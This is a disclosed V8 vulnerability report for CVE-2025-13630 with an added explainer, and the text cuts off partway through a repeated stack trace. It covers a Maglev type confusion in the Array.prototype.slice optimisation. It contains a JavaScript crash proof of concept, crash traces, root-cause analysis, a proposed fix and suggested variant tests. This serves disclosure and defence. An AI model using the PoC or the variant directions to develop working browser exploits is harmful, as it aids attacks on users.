Type Confusion in V8 (CVE-2025-13630)
A missing type check in Maglev's optimisation for Array.prototype.slice let a value loaded from a holey double array be passed where a tagged object was expected, causing a type representation mismatch. In debug builds this aborts the engine with a fatal error; the text does not show any exploitable effect beyond the crash.
Originally disclosed on Chrome VRP
- Fix shipped in 33 days
VERSION
V8 Version: commit hash a3d368877487647fbd9d6dca8de88c3762ab2793 (ToT)
Operating System: Linux
REPRODUCTION CASE
Please run the following JS snippet using debug version of v8 with --jit-fuzzing and --turbolev flags. With these 2 flags, the crash appears sometimes. If we add the flag --turboshaft-assert-types the crash can be triggered reliably.
for (let i1 = 100; i1; --i1) {
}
function f5(a6) {
for (let v7 = 0; v7 < 5; v7++) {
}
a6.slice();
function f9(a10) {
a10.forEach(f5);
return a10;
}
f9([,1.1]);
return f5;
}
for (let v16 = 0; v16 < 25; v16++) {
const v17 = [f5];
try { f5(v17); } catch (e) {}
}
It will produce the following crash (in debug build) -
#
# Fatal error in ../../src/maglev/maglev-ir.cc, line 630
# Type representation error: node #95 : CallBuiltin (input @0 = LoadHoleyFixedDoubleArrayElement) type HoleyFloat64 is not Tagged
#
#
#
#FailureMessage Object: 0x7f8db1b655c8
==== C stack trace ===============================
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f8dbf4e76ce]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4ffcd) [0x7f8dbf449fcd]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7f8dbf4bcb85]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CheckValueInputIs(v8::internal::maglev::NodeBase const*, int, v8::internal::maglev::ValueRepresentation)+0x207) [0x7f8dc9ba59c7]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CallBuiltin::VerifyInputs() const+0x1ee) [0x7f8dc9ba676e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::ProcessResult v8::internal::maglev::MaglevGraphVerifier::Process<v8::internal::maglev::CallBuiltin>(v8::internal::maglev::CallBuiltin*, v8::internal::maglev::ProcessingState const&)+0x1b5) [0x7f8dc9620185]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessNodeBase(v8::internal::maglev::NodeBase*, v8::internal::maglev::ProcessingState const&)+0x11b7) [0x7f8dc9612c67]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessGraph(v8::internal::maglev::Graph*)+0x446) [0x7f8dc96108a6]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::RunMaglevOptimizations(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::maglev::MaglevCompilationInfo*, v8::internal::maglev::Graph*)+0x2f5) [0x7f8dcbae3895]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase::Run(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::Zone*, v8::internal::compiler::Linkage*)+0x3de) [0x7f8dcbb4d27e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(auto v8::internal::compiler::turboshaft::Pipeline::Run<v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase, v8::internal::compiler::Linkage*&>(v8::internal::compiler::Linkage*&)+0x1ce) [0x7f8dcaab767e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::Pipeline::CreateGraphWithMaglev(v8::internal::compiler::Linkage*)+0xa4) [0x7f8dcaaabc54]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x1ab) [0x7f8dcaa97b0b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x128) [0x7f8dc7e1b028]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::RunCompilationJob(v8::internal::OptimizingCompileTaskState&, v8::internal::Isolate*, v8::internal::LocalIsolate&, v8::internal::TurbofanCompilationJob*)+0x23c) [0x7f8dc7f8411c]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::CompileTask::Run(v8::JobDelegate*)+0x35b) [0x7f8dc7f8c49b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultJobWorker::Run()+0xbe) [0x7f8dbf44899e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x7f8dbf4500fc]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::Thread::NotifyStartedAndRun()+0x32) [0x7f8dbf4e6dd2]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(+0x7b41a) [0x7f8dbf4e541a]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7f8dbeede609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7f8dbecb4353]
Trace/breakpoint trap
It is important to note that this crash is only reproducible in the debug version of V8.
Bisect
After bisect it seems that the bug was introduced in the following commit -
[maglev, turbolev] Implement array.prototype.slice -> [ebcd571a1d1] Revision: 101590
https://chromium.googlesource.com/v8/v8/+/ebcd571a1d1%5E%21/#F2
Analysis
The crash seems to occur due to a type representation mismatch in Maglev's intermediate representation. The error message indicates that a CallBuiltin node for Builtin::kCloneFastJSArray is receiving an input with HoleyFloat64 representation when it expects Tagged representation.
During graph verification, CallBuiltin::VerifyInputs() validates that all inputs match the expected types specified by the builtin's call interface descriptor. The CloneFastJSArray builtin expects its source parameter to be MachineType::AnyTagged(), which corresponds to ValueRepresentation::kTagged in Maglev. However, the actual input is a LoadHoleyFixedDoubleArrayElement node, which produces ValueRepresentation::kHoleyFloat64 - a special representation for loading double values from holey arrays that can contain holes.
The fundamental issue is that the optimization incorrectly passes a non-tagged value (an array element loaded from a double array) where a tagged object (the array itself) is expected. This happens because the receiver value somehow becomes confused with or replaced by an element loaded from an array during optimization passes.
Bisect Analysis
The bug was introduced in commit ebcd571a1d1c593ef03d18445a2573ec6c92c66d which implemented the TryReduceArrayPrototypeSlice optimization for Maglev.
The implementation follows a similar pattern to other array builtin optimizations like TryReduceArrayPrototypeAt, but seems to contain a critical missing validation step. While it checks that the receiver has possible maps that support fast array iteration and validates the start/end parameters, it fails to verify that the receiver itself has the correct type representation before passing it to BuildCallBuiltin.
Other similar optimization functions in the same file, such as TryReduceArrayPrototypeEntries, include an explicit check to ensure the receiver is a JSReceiver before proceeding. This check is absent from TryReduceArrayPrototypeSlice, allowing the optimization to proceed even when the receiver has an incompatible representation.
PoC Analysis
The PoC creates a scenario that triggers the bug through complex control flow involving inlining, nested function calls, and polymorphic receiver types:
-
The outer loop calls
f5([f5])repeatedly, where the receiver is an array of functions withPACKED_ELEMENTSkind. -
Inside
f5, it callsa6.slice()and then defines and invokesf9([,1.1]), which creates aHOLEY_DOUBLE_ELEMENTSarray. -
The
forEachcall on this array invokesf5recursively with each element: first with undefined (converted from the hole), then with the double value 1.1.
During optimization, when Maglev tries to inline these calls, it encounters multiple call sites to f5 with different receiver types. The compiler must create phi nodes to merge control flow paths where the receiver could be:
- The original array [
f5] (Tagged,PACKED_ELEMENTS) - Elements from the double array (potentially
HoleyFloat64for double elements)
The bug manifests when a phi node or value numbering incorrectly merges or aliases the receiver parameter with a LoadHoleyFixedDoubleArrayElement node from an inlined forEach iteration. When TryReduceArrayPrototypeSlice attempts to optimize the a6.slice() call, it receives this incorrectly-typed value node and passes it directly to BuildCallBuiltin<Builtin::kCloneFastJSArray>({receiver}) without validating its representation. The verification phase then catches this type error when CallBuiltin::VerifyInputs() discovers that input @0 has HoleyFloat64 representation instead of the required Tagged representation.
Possible Fix
The fix could add an explicit type check for the receiver at the beginning of TryReduceArrayPrototypeSlice, following the established pattern used by other array prototype optimizations in the same file.
Specifically, after obtaining the receiver value, the function should call CheckType(receiver, NodeType::kJSReceiver) and return early if the check fails.
Reporter Credit: @streypaws
Context
This report concerns a type confusion bug in V8, the JavaScript engine used by Google Chrome. The affected component is V8's Maglev intermediate representation and its interaction with Turbolev, the pipeline that builds Turboshaft graphs from Maglev. The bug was reported through the Chrome VRP program and is tracked as CVE-2025-13630. The researcher is Shreyas Penkar (@streypaws), the severity is high, and the bounty was 11,000 USD. The report was disclosed on 2025-12-02.
The feature at the centre of the report is the Maglev optimisation TryReduceArrayPrototypeSlice, which was added to optimise Array.prototype.slice calls. In normal operation, a.slice() on an array produces a shallow copy of the array. The Maglev optimisation recognises such calls and replaces them with a call to the builtin Builtin::kCloneFastJSArray, which performs the fast array clone. The builtin expects its source parameter to be a tagged object, that is, the array itself.
The report states that the crash is only reproducible in the debug version of V8. The crash is a verification failure in Maglev, not a memory corruption observed in a release build. The report does not describe a release-build exploit.
Setup
The researcher used the following environment, as stated in the report:
- V8 version: commit hash
[redacted](ToT, tip of tree). - Operating system: Linux.
- Build: debug version of V8.
- Flags:
--jit-fuzzingand--turbolev. With these two flags the crash appears sometimes. Adding--turboshaft-assert-typesmakes the crash trigger reliably.
The report does not mention any accounts, roles, browser profiles or additional tooling beyond the V8 debug build and the flags above.
Finding it
The researcher found that a JavaScript snippet, when run in the debug build with the flags above, produces a fatal error in Maglev. The error is a type representation error raised during graph verification. The report quotes the fatal error as follows:
#
# Fatal error in ../../src/maglev/maglev-ir.cc, line 630
# Type representation error: node #95 : CallBuiltin (input @0 = LoadHoleyFixedDoubleArrayElement) type HoleyFloat64 is not Tagged
#
#
#FailureMessage Object: 0x7f8db1b655c8
==== C stack trace ===============================
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f8dbf4e76ce]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4ffcd) [0x7f8dbf449fcd]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7f8dbf4bcb85]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CheckValueInputIs(v8::internal::maglev::NodeBase const*, int, v8::internal::maglev::ValueRepresentation)+0x207) [0x7f8dc9ba59c7]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CallBuiltin::VerifyInputs() const+0x1ee) [0x7f8dc9ba676e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::ProcessResult v8::internal::maglev::MaglevGraphVerifier::Process<v8::internal::maglev::CallBuiltin>(v8::internal::maglev::CallBuiltin*, v8::internal::maglev::ProcessingState const&)+0x1b5) [0x7f8dc9620185]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessNodeBase(v8::internal::maglev::NodeBase*, v8::internal::maglev::ProcessingState const&)+0x11b7) [0x7f8dc9612c67]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessGraph(v8::internal::maglev::Graph*)+0x446) [0x7f8dc96108a6]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::RunMaglevOptimizations(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::maglev::MaglevCompilationInfo*, v8::internal::maglev::Graph*)+0x2f5) [0x7f8dcbae3895]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase::Run(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::Zone*, v8::internal::compiler::Linkage*)+0x3de) [0x7f8dcbb4d27e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(auto v8::internal::compiler::turboshaft::Pipeline::Run<v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase, v8::internal::compiler::Linkage*&>(v8::internal::compiler::Linkage*&)+0x1ce) [0x7f8dcaab767e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::Pipeline::CreateGraphWithMaglev(v8::internal::compiler::Linkage*)+0xa4) [0x7f8dcaaabc54]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x1ab) [0x7f8dcaa97b0b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x128) [0x7f8dc7e1b028]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::RunCompilationJob(v8::internal::OptimizingCompileTaskState&, v8::internal::Isolate*, v8::internal::LocalIsolate&, v8::internal::TurbofanCompilationJob*)+0x23c) [0x7f8dc7f8411c]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::CompileTask::Run(v8::JobDelegate*)+0x35b) [0x7f8dc7f8c49b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultJobWorker::Run()+0xbe) [0x7f8dbf44899e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x7f8dbf4500fc]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::Thread::NotifyStartedAndRun()+0x32) [0x7f8dbf4e6dd2]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(+0x7b41a) [0x7f8dbf4e541a]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7f8dbeede609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7f8dbecb4353]
Trace/breakpoint trap
The key line is the type representation error: node #95 is a CallBuiltin whose input @0 is a LoadHoleyFixedDoubleArrayElement with type HoleyFloat64, but the input is expected to be Tagged. The stack trace shows the failure is raised by CallBuiltin::VerifyInputs() inside MaglevGraphVerifier, during RunMaglevOptimizations in the Turbolev graph building phase. The report notes that this crash is only reproducible in the debug version of V8.
Exploitation
Step 1: Run the reproduction case
The researcher provides the following JavaScript snippet and instructs that it be run with the debug version of V8 using the --jit-fuzzing and --turbolev flags. With those two flags the crash appears sometimes; adding --turboshaft-assert-types makes it trigger reliably.
for (let i1 = 100; i1; --i1) {
}
function f5(a6) {
for (let v7 = 0; v7 < 5; v7++) {
}
a6.slice();
function f9(a10) {
a10.forEach(f5);
return a10;
}
f9([,1.1]);
return f5;
}
for (let v16 = 0; v16 < 25; v16++) {
const v17 = [f5];
try { f5(v17); } catch (e) {}
}
The snippet has several parts that matter for the bug:
- A warm-up loop
for (let i1 = 100; i1; --i1) {}runs before the interesting code. - The function
f5(a6)contains an empty loop, then callsa6.slice(). This is the call that theTryReduceArrayPrototypeSliceoptimisation is meant to rewrite intoBuiltin::kCloneFastJSArray. - Inside
f5, a nested functionf9(a10)callsa10.forEach(f5)and returnsa10. f5invokesf9([,1.1]), which creates a holey double array (the first element is a hole, the second is the double1.1).- The outer loop calls
f5(v17)25 times, wherev17is[f5], an array containing the function itself. The call is wrapped intry { ... } catch (e) {}.
Step 2: Observe the crash
Running the snippet in the debug build with the flags produces the fatal error quoted above. The crash is a Trace/breakpoint trap after the fatal error message. The report stresses that the crash is only reproducible in the debug version of V8.
Step 3: Bisect to the introducing commit
The researcher bisected the bug and reports that it was introduced in the commit that implemented Array.prototype.slice for Maglev and Turbolev:
- Commit message:
[maglev, turbolev] Implement array.prototype.slice - Revision:
ebcd571a1d1 - Revision number:
101590 - Link:
https://chromium.googlesource.com/v8/v8/+/ebcd571a1d1%5E%21/#F2
The full commit hash is given later in the report as [redacted].
Step 4: Analyse the crash
The report explains the crash as a type representation mismatch in Maglev's intermediate representation. The CallBuiltin node for Builtin::kCloneFastJSArray receives an input with HoleyFloat64 representation when it expects Tagged representation.
During graph verification, CallBuiltin::VerifyInputs() checks that all inputs match the expected types specified by the builtin's call interface descriptor. The CloneFastJSArray builtin expects its source parameter to be MachineType::AnyTagged(), which corresponds to ValueRepresentation::kTagged in Maglev. The actual input is a LoadHoleyFixedDoubleArrayElement node, which produces ValueRepresentation::kHoleyFloat64, a special representation for loading double values from holey arrays that can contain holes.
The report states the fundamental issue: the optimisation incorrectly passes a non-tagged value (an array element loaded from a double array) where a tagged object (the array itself) is expected. This happens because the receiver value somehow becomes confused with, or replaced by, an element loaded from an array during optimisation passes.
Step 5: Analyse the introducing commit
The bug was introduced in commit [redacted], which implemented the TryReduceArrayPrototypeSlice optimisation for Maglev. The report says the implementation follows a similar pattern to other array builtin optimisations such as TryReduceArrayPrototypeAt, but appears to contain a critical missing validation step. While it checks that the receiver has possible maps that support fast array iteration and validates the start and end parameters, it fails to verify that the receiver itself has the correct type representation before passing it to BuildCallBuiltin.
Other similar optimisation functions in the same file, such as TryReduceArrayPrototypeEntries, include an explicit check to ensure the receiver is a JSReceiver before proceeding. That check is absent from TryReduceArrayPrototypeSlice, allowing the optimisation to proceed even when the receiver has an incompatible representation.
Step 6: Walk through the PoC
The report describes how the PoC triggers the bug through complex control flow involving inlining, nested function calls and polymorphic receiver types:
- The outer loop calls
f5([f5])repeatedly, where the receiver is an array of functions withPACKED_ELEMENTSkind. - Inside
f5, it callsa6.slice()and then defines and invokesf9([,1.1]), which creates aHOLEY_DOUBLE_ELEMENTSarray. - The
forEachcall on this array invokesf5recursively with each element: first withundefined(converted from the hole), then with the double value1.1.
During optimisation, when Maglev tries to inline these calls, it encounters multiple call sites to f5 with different receiver types. The compiler must create phi nodes to merge control flow paths where the receiver could be:
- The original array
[f5](Tagged,PACKED_ELEMENTS). - Elements from the double array (potentially
HoleyFloat64for double elements).
The bug manifests when a phi node or value numbering incorrectly merges or aliases the receiver parameter with a LoadHoleyFixedDoubleArrayElement node from an inlined forEach iteration. When TryReduceArrayPrototypeSlice attempts to optimise the a6.slice() call, it receives this incorrectly typed value node and passes it directly to BuildCallBuiltin<Builtin::kCloneFastJSArray>({receiver}) without validating its representation. The verification phase then catches this type error when CallBuiltin::VerifyInputs() discovers that input @0 has HoleyFloat64 representation instead of the required Tagged representation.
Root cause
The root cause is a missing type check in TryReduceArrayPrototypeSlice. The optimisation validates that the receiver has possible maps that support fast array iteration and validates the start and end parameters, but it does not verify that the receiver itself has the correct type representation before passing it to BuildCallBuiltin. Comparable optimisations in the same file, such as TryReduceArrayPrototypeEntries, include an explicit check that the receiver is a JSReceiver. That check is absent here.
As a result, when the receiver value at the slice() call site is a phi node or value that has been merged with a LoadHoleyFixedDoubleArrayElement from an inlined forEach iteration, the optimisation passes a HoleyFloat64 value to Builtin::kCloneFastJSArray, which expects MachineType::AnyTagged() (that is, ValueRepresentation::kTagged). The Maglev graph verifier catches the mismatch in debug builds and aborts.
It says the missing check is the one that other optimisations have.
Impact
The report describes a type confusion in V8's Maglev intermediate representation, classified as high severity, with a bounty of 11,000 USD. The observable effect in the report is a fatal error and Trace/breakpoint trap in the debug build of V8 when the PoC is run with --jit-fuzzing and --turbolev, and reliably with --turboshaft-assert-types added.
Any impact beyond the debug-build crash is not stated in the original.
Fix
The report proposes a fix rather than describing one that was applied. The suggested fix is to add an explicit type check for the receiver at the beginning of TryReduceArrayPrototypeSlice, following the pattern used by other array prototype optimisations in the same file. Specifically, after obtaining the receiver value, the function should call CheckType(receiver, NodeType::kJSReceiver) and return early if the check fails.
Variants to test
The report does not list variants. The following are concrete directions suggested by the details in the report, each with what a positive result would look like.
- Test other Maglev array builtin reductions that call
BuildCallBuiltinwith a receiver, such as the reductions mentioned in the report (TryReduceArrayPrototypeAt,TryReduceArrayPrototypeEntries), for missing receiver representation checks. A positive result is a debug-build fatal error inCallBuiltin::VerifyInputs()reporting a representation mismatch for an input to the builtin. - Construct call sites where the same function is inlined with receivers of different element kinds, for example a packed elements array and a holey double elements array, and where the receiver is used in a builtin-reduced call. A positive result is a phi node merging a tagged receiver with a
LoadHoleyFixedDoubleArrayElementvalue, followed by a verifier failure. - Run the same PoC with
--turboshaft-assert-typesadded to the flags to check whether the crash becomes deterministic, as the report states it does. A positive result is a reliable fatal error instead of an intermittent one. - Vary the warm-up loop and the outer loop counts in the PoC to see how the crash frequency changes with the two original flags. A positive result is a change in how often the fatal error appears, consistent with the report's statement that the crash appears sometimes without
--turboshaft-assert-types. - Test the same pattern with other builtins that take a tagged source object and are reached through Maglev reductions, to see whether the same missing representation check pattern exists elsewhere. A positive result is a verifier failure naming a different builtin and a non-tagged input representation.
Reporter credit in the original: @streypaws.
What happened, in plain words
This report is about a bug in V8. V8 is the JavaScript engine inside Google Chrome: it is the part of the browser that reads the JavaScript code on a web page and actually runs it. When you open a page with a script on it, V8 is what turns that text into actions on your computer.
Modern engines like V8 do not simply read code one line at a time forever. To make pages fast, they watch which functions run often and then rewrite those functions into a faster, more compact form. That rewriting is called optimisation, and the component that does it here is called Maglev. A second component, Turbolev, takes Maglev's work and feeds it into another compiler stage called Turboshaft.
The bug is a type confusion. In programming, every value has a type: a number, a piece of text, an object, an array, and so on. A type confusion happens when the program treats a value as one type while it is really another, for example treating a number as if it were an object. It is like a postal worker putting a letter into the slot marked "parcels": the system was built on the assumption that each slot holds a certain kind of thing, and that assumption has now been broken.
In this case, an optimisation for the JavaScript method Array.prototype.slice (which copies an array) was written in a way that skipped one safety check. Under specific conditions, the optimiser handed a number taken from inside an array to a piece of code that expected the array itself. In the debug build of V8 (a special build used by developers that contains extra self-checks), the engine noticed the mismatch and stopped with a fatal error. The report says this crash only happens in the debug build; it does not describe what, if anything, happens in the normal release build that ordinary Chrome users run.
The bug was reported through the Chrome VRP (Vulnerability Reward Program, Google's scheme that pays people for finding and reporting security bugs), is tracked as CVE-2025-13630, was rated high severity, and earned a bounty of 11,000 USD. The researcher is Shreyas Penkar (@streypaws). The report was disclosed on 2025-12-02.
Context
This section explains the background: which product is affected, which feature, and what the report does and does not claim.
The affected product is V8, the JavaScript engine used by Google Chrome. The affected part is V8's Maglev intermediate representation and how it interacts with Turbolev. An intermediate representation (IR) is a half-way form of the program that the compiler builds internally: not the original source text, and not yet machine instructions, but a structured graph of steps the compiler can reason about and rearrange. Turbolev is the pipeline that builds Turboshaft graphs from Maglev; a pipeline here just means a fixed sequence of processing stages.
The feature at the centre of the report is a Maglev optimisation called TryReduceArrayPrototypeSlice. Its job is to speed up calls to Array.prototype.slice. In normal JavaScript, a.slice() on an array produces a shallow copy of the array: a new array containing the same elements. "Shallow" means the copy holds references to the same element values rather than deep-copying objects inside it. The Maglev optimisation recognises such calls and replaces them with a call to a builtin called Builtin::kCloneFastJSArray, which performs the fast array clone. A builtin is a ready-made internal routine inside the engine, written by the V8 developers, that the optimised code can call instead of doing the work step by step.
The builtin expects its source parameter to be a tagged object, that is, the array itself. "Tagged" is V8's way of saying a value is a full, properly labelled object reference that the engine can identify and check at runtime, as opposed to a raw number. The report's whole problem is that a raw number ended up where a tagged object was expected.
The report states that the crash is only reproducible in the debug version of V8. The crash is a verification failure in Maglev, not a memory corruption observed in a release build. The report does not describe a release-build exploit. In other words, the report documents the engine catching its own mistake, not an attacker taking over a browser.
Setup
The researcher used the following environment, as stated in the report:
- V8 version: commit hash
[redacted](ToT, tip of tree). - Operating system: Linux.
- Build: debug version of V8.
- Flags:
--jit-fuzzingand--turbolev. With these two flags the crash appears sometimes. Adding--turboshaft-assert-typesmakes the crash trigger reliably.
A few of those terms need unpacking. A commit hash is a long string of letters and numbers that uniquely identifies one saved version of the source code, like a fingerprint for a snapshot of the project. "ToT" stands for tip of tree: the very latest code at the time, not an older release. A debug build is a version of the software compiled with extra internal checks switched on, which developers use to catch mistakes early; it is slower and not what ships to users. A flag is a command-line switch that changes how the program behaves when it starts, for example turning an experimental feature on.
--jit-fuzzing is a flag used when fuzzing, that is, when feeding the engine large amounts of generated code to look for crashes. --turbolev enables the Turbolev pipeline described above. --turboshaft-assert-types turns on extra type assertions, which are checks that stop the program when a value's type is not what the code expects. The report says that adding this flag makes the crash trigger reliably.
Finding it
The researcher found that a JavaScript snippet, when run in the debug build with the flags above, produces a fatal error in Maglev. The error is a type representation error raised during graph verification. Graph verification is the engine checking its own internal graph of steps for consistency before using it; think of a proofreader checking a draft before it is printed. The report quotes the fatal error as follows:
#
# Fatal error in ../../src/maglev/maglev-ir.cc, line 630
# Type representation error: node #95 : CallBuiltin (input @0 = LoadHoleyFixedDoubleArrayElement) type HoleyFloat64 is not Tagged
#
#
#FailureMessage Object: 0x7f8db1b655c8
==== C stack trace ===============================
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f8dbf4e76ce]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4ffcd) [0x7f8dbf449fcd]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7f8dbf4bcb85]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CheckValueInputIs(v8::internal::maglev::NodeBase const*, int, v8::internal::maglev::ValueRepresentation)+0x207) [0x7f8dc9ba59c7]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::CallBuiltin::VerifyInputs() const+0x1ee) [0x7f8dc9ba676e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::ProcessResult v8::internal::maglev::MaglevGraphVerifier::Process<v8::internal::maglev::CallBuiltin>(v8::internal::maglev::CallBuiltin*, v8::internal::maglev::ProcessingState const&)+0x1b5) [0x7f8dc9620185]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessNodeBase(v8::internal::maglev::NodeBase*, v8::internal::maglev::ProcessingState const&)+0x11b7) [0x7f8dc9612c67]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::maglev::GraphProcessor<v8::internal::maglev::MaglevGraphVerifier>::ProcessGraph(v8::internal::maglev::Graph*)+0x446) [0x7f8dc96108a6]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::RunMaglevOptimizations(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::maglev::MaglevCompilationInfo*, v8::internal::maglev::Graph*)+0x2f5) [0x7f8dcbae3895]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase::Run(v8::internal::compiler::turboshaft::PipelineData*, v8::internal::Zone*, v8::internal::compiler::Linkage*)+0x3de) [0x7f8dcbb4d27e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(auto v8::internal::compiler::turboshaft::Pipeline::Run<v8::internal::compiler::turboshaft::TurbolevGraphBuildingPhase, v8::internal::compiler::Linkage*&>(v8::internal::compiler::Linkage*&)+0x1ce) [0x7f8dcaab767e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::turboshaft::Pipeline::CreateGraphWithMaglev(v8::internal::compiler::Linkage*)+0xa4) [0x7f8dcaaabc54]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x1ab) [0x7f8dcaa97b0b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x128) [0x7f8dc7e1b028]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::RunCompilationJob(v8::internal::OptimizingCompileTaskState&, v8::internal::Isolate*, v8::internal::LocalIsolate&, v8::internal::TurbofanCompilationJob*)+0x23c) [0x7f8dc7f8411c]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8.so(v8::internal::OptimizingCompileTaskExecutor::CompileTask::Run(v8::JobDelegate*)+0x35b) [0x7f8dc7f8c49b]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultJobWorker::Run()+0xbe) [0x7f8dbf44899e]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libplatform.so(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x7f8dbf4500fc]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::Thread::NotifyStartedAndRun()+0x32) [0x7f8dbf4e6dd2]
/home/br4v3h3r0/v8/v8/out/x64.debug/libv8_libbase.so(+0x7b41a) [0x7f8dbf4e541a]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7f8dbeede609]
